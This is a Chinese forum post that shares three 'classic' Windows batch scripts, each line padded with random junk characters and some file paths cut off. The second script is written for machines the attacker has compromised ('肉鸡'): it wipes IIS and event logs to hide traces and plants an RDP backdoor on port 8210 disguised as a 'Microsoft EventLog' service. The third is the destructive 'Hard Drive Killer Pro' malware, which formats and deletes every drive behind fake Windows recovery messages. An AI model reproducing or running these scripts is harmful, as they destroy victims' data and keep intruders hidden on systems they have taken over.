设为首页 | 收藏本页
登陆您的帐号 | 免费注册帐号
全部栏目 > 计算机 > 软件 > 自由
下一篇上一篇 首页图文展示(无图)

几款经典批处理实例

发布人:hy58
发布日期:2015-06-05 15:46:53
刷新日期:2015-06-05 15:46:53
回复或评论:0
阅览:651
  1.删除win2k/xp系统默认共享的批处理  bTE%p0  
    ------------------------ cut here then save as .bat or .cmd file ---------------------------  QM`A74j0]  
    @echo preparing to delete all the default ready press any key.   i}N'W V`!  
    @pause   4StiYfae  
    @echo off   wqJ^tA!  
    :Rem check parameters if null show usage.   o X )r4H?  
    if {%1}=={} goto :Usage   ".onev^(  
    :Rem code start.   y|Tb&XPD  
    echo.   b;` gxXeL  
    echo ------------------------------------------------------  qd(C%Wk  
    echo.   pu A~}6C  
    echo Now deleting all the default shares.   _@;t^j+l  
    echo.   thIuK V{CO  
    net share %1$ /delete   ZH;VEX  
    net share %2$ /delete   zBtlkBPu  
    net share %3$ /delete   k#NIY4%.  
    net share %4$ /delete   3&:Us| }  
    net share %5$ /delete   #kjN!S*=  
    net share %6$ /delete   XUc(7>k  
    net share %7$ /delete   T'B43Q  
    net share %8$ /delete   kN_ i0~y@-  
    net share %9$ /delete   o.W:R Ux  
    net stop Server   0=O(+ yi  
    net start Server   7.mY@  
    echo.   F3+ ;2GG2  
    echo All the shares have been deleteed   nX%b@cOXj  
    echo.   v6=pV4k9  
    echo ------------------------------------------------------   Nc;cb  
    echo.   )+ifVv50  
    echo Now modify the registry to change the system default properties.   #C^)W/dP  
    echo.   Nl/^ga  
    echo Now creating the registry file   R|&jvG=|  
    echo Windows Registry Editor Version > c:/   (~ S=DFsP  
    echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters]>> c:/   k7,   
    echo "AutoShareWks"=dword:00000000>> c:/   9r2l~zE  
    echo "AutoShareServer"=dword:00000000>> c:/   Cp"a,%b6u  
    echo Nowing using the registry file to chang the system default properties.   ,bTpD!  
    regedit /s c:/   CcCcuxtR  
    echo Deleting the temprotarily files.   6LRvl6ik  
    del c:/   KBC?SxJSJc  
    goto :END   =D~>$ Y  
    :Usage   j_3`J8WwF  
    echo.   216=7O2F  
    echo ------------------------------------------------------  C))x#P36  
?3 S{>+'  
    echo.   qdnwaJ;&  
    echo ☆ A example for batch file ☆   [s{ B vn  
    echo ☆ [Use batch file to change the sysytem share properties.] ☆   b(_f{R7PY  
    echo.   q6'Q-e)  
    echo Author:Ex4rch   H)k V8wU  
    echo Mail:Ex4rch@ QQ:1672602   ${)oi:K@:  
    echo.   {E[t(Ig  
    echo Error:Not enough parameters   eo*l^7  
    echo.   W) Ct*I^  
    echo ☆ Please enter the share disk you wanna delete ☆   Xub*i^(]  
    echo.   %*NED zy  
    echo For instance,to delete the default shares:   O DEFs?%'  
    echo delshare c d e ipc admin print   5Gs>rq" #  
    echo.   Lf)JO|o  
    echo If the disklable is not as C: D: E: ,Please chang it youself.   fK 6[ p&  
    echo.   ;X^#$* =Q  
    echo example:   d>?C?F  
    echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :  80=LT-% #  
    echo delshare c d e x y z ipc admin print   2F+"v?n=  
    echo.   jEE!H /  
    echo *** you can delete nine shares once in a useing ***   :%z#s  
    echo.   soLW'8  
    echo ------------------------------------------------------   Do77V5  
    goto :EOF   Ph%{h"  
    :END   c:e3hJ  
    echo.   H[nco#  
    echo ------------------------------------------------------   @dk-+YxG  
    echo.   L}CU"  
    echo OK, has deleted all the share you assigned.   m I5J] hk  
    questions ,feel free to mail to Ex4rch@.   =.7tS'  
    echo   zoTu W*B  
    echo.   jC_'6sc`  
    echo ------------------------------------------------------   [.^ol6  
    echo.   .Sn{a }XP4  
    :EOF   $cIaLq  
    echo end of the batch file   O-HS)g$2  
    ------------------------ cut here then save as .bat or .cmd file ---------------------------  n<bU'n  
    2.全面加固系统(给肉鸡打补丁)的批处理文件   'KIT^k0"Ih  
    ------------------------ cut here then save as .bat or .cmd file ---------------------------  l99Lxgx=  
    @echo Windows Registry Editor Version >   kBhjqI*  
    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters] >>   ~9 .=t'  
    @echo "AutoShareServer"=dword:00000000 >>   7bk77`qWr  
    @echo "AutoShareWks"=dword:00000000 >>   t*9 gusmG  
    @REM [禁止共享]   $*942. =Q  
    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa] >>   _]OY[&R  
    @echo "restrictanonymous"=dword:00000001 >>   l<w7 a6  
    @REM [禁止匿名登录]    Rpgg :  
    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBT/Parameters] >>   {6H[[7i  
    @echo "SMBDeviceEnabled"=dword:00000000 >>   salC4z3  
    @REM [禁止及文件访问和打印共享]   *r mC3'}s  
    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/@REMoteRegistry] >>   >t3_]n1e  
    @echo "Start"=dword:00000004 >>   gLX<> |)*  
    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Schedule] >>   G<e+sDQ2  
    @echo "Start"=dword:00000004 >>   6p4BsWPx  
    @echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon] >>   W .CHSD  
    @echo "ShutdownWithoutLogon"="0" >>   OF7hp5  
    @REM [禁止登录前关机]  GK}52,NM  
    @echo "DontDisplayLastUserName"="1" >>   zG#5lzIu,  
    @REM [禁止显示前一个登录用户名称]  H ni^S  
    @regedit /s   BuV71/Vb{Q  
    ------------------------ cut here then save as .bat or .cmd file ---------------------------   ]? 4;Lw  
    下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。   t Ly:F*1i  
    @regedit /s   L(TM& ps-  
    @net stop w3svc   F-/z@tM  
    @net stop event log   G]>yk_#/U  
    @del c:/winnt/system32/logfiles/w3svc1/*.* /f /q   "r&,#$6W6  
    @del c:/winnt/system32/logfiles/w3svc2/*.* /f /q   ]j3>=Jb;  
    @del c:/winnt/system32/config/*.event /f /q   &'z _:Wm  
    @del c:/winnt/system32dtclog/*.* /f /q   '|IcL1c=I  
    @del c:/winnt/*.txt /f /q   $.jG O!  
:.x(( FU  
        #3rS{4[  
    @del c:/winnt/*.log /f /q   Pzso^^g  
    @net start w3svc   gI^&z  
    @net start event log   O=Z;}<N  
    @rem [删除日志]   8:TX9`,  
    @net stop lanmanserver /y   Mq91HmC(@  
    @net stop Schedule /y   0 ca0-vY  
    @net stop RemoteRegistry /y   :a*>PMTn  
    @del   ]O|>nTa  
    @echo The server has been patched,Have fun.   ranem0KQ)]  
    @del   XoyxS:=>|[  
    @REM [禁止一些危险的服务。]  9':Ipf&x  
    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Termina l Server/WinStations/RDP-Tcp] >>   URVW5c  
    @echo "PortNumber"=dword:00002010 >>   $PM r)U  
    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Termina l Server/Wds/rdpwd/Tds/tcp >>   Apu- 9|oP  
    @echo "PortNumber"=dword:00002012 >>   2[Bbdg[O  
    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>   E:rJi]  
    @echo "Start"=dword:00000002 >>   ^fKKsfIf  
    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecuService] >>   $U,]c  
    @echo "Start"=dword:00000002 >>   M0m%S:2  
    @echo "ErrorControl"=dword:00000001 >>   OC5oxL2HTe  
    @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00 ,52,00,6f,00,6f,00,/ >>   h6~xz0,u  
    @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00, 32,00,5c,00,65,/ >>   K;/f ?3q  
    @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78, 00,65,00,00,00 >>   !T` gza/  
    @echo "ObjectName"="LocalSystem" >>   n}NUe`E_h  
    @echo "Type"=dword:00000010 >>   nkq{_;xp  
    @echo "Description"="Keep record of the program and windows message。" >>  LZ#A`&qUd  
    @echo "DisplayName"="Microsoft EventLog" >>   U;&s=M0[  
    @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/termservice] >>   sGJs8#v][  
    @echo "Start"=dword:00000004 >>   jhG6,;1zMI  
    @copy c:/winnt/system32/ c:/winnt/system32/   7OZ0;fK  
    @REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]   &hpznIN  
    Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)  F[ ^ p~u{  
    ------------------------ cut here then save as .bat or .cmd file ---------------------------  -}qay@cDt  
    @echo off   {KqW<X6Hp  
    rem This program is dedecated to a very special person that does not want to be named.   #I yM`YB0  
    :start   :)_P7k`>e/  
    cls   mX SLH'  
    echo PLEASE WAIT WHILE PROGRAM LOADS . . .   az:lG(ZGw  
    call attrib -r -h c:/ >nul   ;hDIoSz  
    echo @echo off >c:/   ELV$!f|u  
    echo call format c: /q /u /autoSample >nul >>c:/   am WIA`n=  
    call attrib +r +h c:/ >nul   9NC6q-2  
    rem Drive checking and assigning the valid drives to the drive variable.   l$p"%5 ]_  
    set drive=   vw q Y;7  
    set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z   ]R%@FCYc  
    rem code insertion for Drive Checking takes place here.   BI)$aR  
    rem is the file name under the root directory.   x:Tm4V{  
    rem As far as the drive detection and drive variable settings, dont worry about how it   'v3> "b  
    rem works, its d/*amn to complicated for the average or even the expert batch programmer.   UD r@  
    rem Except for Tom Lavedas.   zw X 1&rN  
    echo @echo off >   t?kbN,  
    echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat   #$>m`r  
    %comspec% /e:2048 /c {t}.bat >>   E^jb#9R  
    del {t}.bat   aTYmKk  
    echo if errorlevel 1 goto enddc >>   |q:3R_0  
    cls   %,*{hhfu  
    echo PLEASE WAIT WHILE PROGRAM LOADS . . .   ] Vbv64M3  
    rem When errorlevel is 1, then the above is not true, if 0, then its true.   7fJWb)z!k  
    rem Opposite of binary rules. If 0, it will elaps to the next command.   WY%'ps _]<  
    echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.//ad/w/-p $b find "bytes" > nul >{t}.bat   *G#W],~0  
    %comspec% /e:2048 /c {t}.bat >>   _YW1Mk1  
    del {t}.bat   50.cMms  
    echo if errorlevel 1 goto enddc >>   i 7 f/r.  
    cls   ]I#yS=;  
    echo PLEASE WAIT WHILE PROGRAM LOADS . . .   xCMcS~ 3/  
    rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.   qqSf17sW  
    rem if errorlevel is 0, then it will elaps to the next command.   --S2lN/:T  
    echo @prompt dir %%%%1:.//ad/w/-p $b find " 0 bytes free" > nul >{t}.bat    T^ ^o  
    %comspec% /e:2048 /c {t}.bat >>   UHYnl ]  
    del {t}.bat   7W6tzY  
    echo if errorlevel 1 set drive=%%drive%% %%1 >>   #$QC2;/)F  
    cls   r(IQ)GR  
8C2s- %:  
    echo PLEASE WAIT WHILE PROGRAM LOADS . . .   F`;oe[wf k  
    rem if its errorlevel 1, then the specified drive is a hard or floppy drive.   s('<ms  
    rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.  ^9 gFW $]  
    echo :enddc >>   Re**)3#gn  
    rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".   ML!Z m[I9  
    rem Now we will use the program to attain valid drive information.   mr]IxTv  
    :Sampledrv   .olDmFQD  
    for %%a in (%alldrive%) do call %%a >nul   !SAjV)  
    del >nul   | - l)$i@  
    if %drive.==. set drive=c   >Q+Bw"W<  
    :form_del   &)@|WLW  
    call attrib -r -h c:/ >nul   M}E0Msq_o  
    echo @echo off >c:/   Z&gM7Zo8  
    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/   _Gv[ D  
    echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/   x}t,v.:  
    echo cls >>c:/   c|8[$_2  
    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/   Ww&~ZZZ {  
    echo for %%%%a in (%drive%) do call c:/ %%%%a Bunga >nul >>c:/   D7.|UG?G  
    echo cls >>c:/   #jAlmxN  
    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/   f$Fa*O-  
    echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/   Gq_rZo(@  
    echo cls >>c:/   W<<{}'Db/#  
    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/   n8;4]n  
    echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/   j {00iA}  
    echo cls >>c:/   jiS|ara"  
    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/   EugQr<sM#  
    echo for %%%%a in (%drive%) do call c:/ %%%%a Bunga >nul >>c:/   "/ G^+u  
    echo cls >>c:/   >_3+s~  
    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/   1T(:bM_t`7  
    echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/   Q "UWh~  
    echo cd/ >>c:/   FwU*]wx|{  
    echo cls >>c:/   Hd)z[6u8eT  
    echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:/   !FwR7`i  
    echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:/   M XB fX  
    echo echo 1. To make people aware that security should not be taken for granted. >>c:/   xsjJ8>G  
    echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:/   e~7h8?.q  
    echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:/   WH Zz?|^  
    echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:/   ~_vzss3-C  
    echo echo. >>c:/   1S !<D)n  
    echo echo Regards, >>c:/   #@h3#IC  
    echo echo. >>c:/   cp|&&q  
    echo echo Munga Bunga >>c:/   }Ip"j]h  
    call attrib +r +h c:/   N_jCx*.G  
    :makedir   D8+68_BEM  
    if exist c:/ attrib -r -h c:/ >nul   S30@|@fTz  
    echo @echo off >c:/   9T*%CI  
    echo %%1:/ >>c:/   yK"OZ2Mv  
    echo cd/ >>c:/   ?L|Jc_E  
    echo :startmd >>c:/   8.e k_ r  
    echo for %%%%a in ("if not exist %%2/nul md %%2" "if exist %%2/nul cd %%2") do %%%%a >>c:/   H !dUQ  
    echo for %%%%a in (">ass_") do echo %%%%a Your Gone @$$hole!!!! >>c:/   U:]b&I  
    echo if not exist %%1:/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2 /%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2 /%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/nul goto startmd >>c:/   ? C2 bA5 M  
    call attrib +r +h c:/ >nul   *"E?n>b  
    cls   p9<OXeY   
    echo Initializing Variables . . .   DI=Nqa)r  
    rem deltree /y %%a:/*. only eliminates directories, hence leaving the file created above for further destruction.   F<q3{}1zR  
    for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul   ~Z5?a2Ld  
    cls   $;*YdZ`q  
    echo Initializing Variables . . .   ^o't &  
    echo Validating Data . . .   F2y M2Ldx  
    for %%a in (%drive%) do call c:/ %%a Munga >nul   =$5[uI2  
    cls   S=lA^#'UdX  
    echo Initializing Variables . . .   1W;3pN  
    echo Validating Data . . .   6<H[1PI`,G  
    echo Analyzing System Structure . . .    1$idF  
    for %%a in (%drive%) call attrib -r -h %%a:/ /S >nul   PKC``+K i  
    call attrib +r +h c:/ >nul   ac.O#6&  
    call attrib +r +h c:/ >nul   ]^gD@].  
    cls   UA,&0.7  
    echo Initializing Variables . . .   ^g[.Q  
    echo Validating Data . . .   X5wS6v)#(  
    echo Analyzing System Structure . . .   G"MpA[a_  
    echo Initializing Application . . .   |f8byQ86=  
    for %%a in (%drive%) call deltree /y %%a:/*. >nul   CpS' 2@6  
    cls   EhB9M!Y`@  
    echo Initializing Variables . . .   }(E6:h;}~  
    echo Validating Data . . .   d(wqKiGwe  
    echo Analyzing System Structure . . .   e+y< a~N  
    echo Initializing Application . . .   $%r|V*5  
    echo Starting Application . . .   10 #!{].#x  
    for %%a in (%drive%) do call c:/ %%a Munga >nul   YGWb!|Z$  
    cls   {'DP/]nK  
    echo Thank you for using a Munga Bunga product.   MruWt*  
    echo.   u~s'<c+8_  
    echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.   ]3={o3[:  
    echo.   tMAa$XrZj  
    echo Here is a joke for you . . .   Czv lZDo  
    echo.   G4x.''r&Sl  
    echo Q). Whats the worst thing about being an egg?   ,x Tbt4J  
    echo A). You only get laid once.   I.8|kscM  
    echo.   BB%(!O4Dl  
    echo HAHAHAHA, get it? Dont you just love that one?   @"*Z&]8z0  
    echo.   ZH0f32K  
    echo Regards,   eGTK^p  
    echo.   hf?^#=k ^  
    echo Munga Bunga   z=K5~nU  
    :end   =d5!O~}r>  
    rem Hard Drive Killer Pro Version 4.0, enjoy!!!!   gMGg9U$@  
    rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).  
评论(0) 暂无回帖


打印 收藏 关闭窗口 下一篇上一篇